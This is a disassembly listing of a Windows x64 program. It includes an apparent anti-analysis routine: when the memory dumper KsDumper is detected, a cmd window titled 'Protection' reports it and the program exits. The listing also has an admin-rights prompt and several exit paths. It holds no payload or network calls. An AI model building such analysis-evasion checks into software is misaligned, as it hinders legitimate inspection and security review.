mov rcx, qword [0x1405c4f78]
lea r8, [rbp + 0xc18]
mov rdx, qword [0x1405c5258]
mov rax, qword [rcx]
call qword [rax + 0x190]
call fcn.14000d8c0
mov rcx, rax
call fcn.14003abb0
mov rcx, qword [0x1405c5250]
xor r8d, r8d
mov edx, esi
mov rax, qword [rcx]
call qword [rax + 0x40]
mov ebx, dword [rbp + 0x134]
mov r15d, 0xa
mov r14, qword [rbp + 0x1a8]
jmp 0x140050a10
call fcn.14003b7f0
call fcn.14003bde0
xor ecx, ecx
call fcn.14000af60
call fcn.14004b480
mov rcx, r14
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x5f8]
mov rcx, qword [rbp + 0x620]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov r8, qword [rbp + 0x1c8]
cmp r8, 0xf
jbe 0x140056b05
mov rdx, qword [rbp + 0x1b0]
lea rcx, [rbp + 0x1b0]
call fcn.14004d430
xor eax, eax
jmp 0x140050796
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1401297f4]
call fcn.140047010
lea rdx, [0x1400486f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1401297f4]
call fcn.140047010
lea rdx, [0x1400486f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1401297f4]
call fcn.140047010
lea rdx, [0x1400486f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
xor r9d, r9d
lea rdx, str.____Run_the_program_as_admin
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.start_cmd__c_START_CMD__C__COLOR_C__TITLE_Protection__ECHO_KsDumper_Detected.__TIMEOUT_10__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14004dbe0
mov ecx, 0x9d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.1400384e0
int3
call fcn.140020110
int3
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3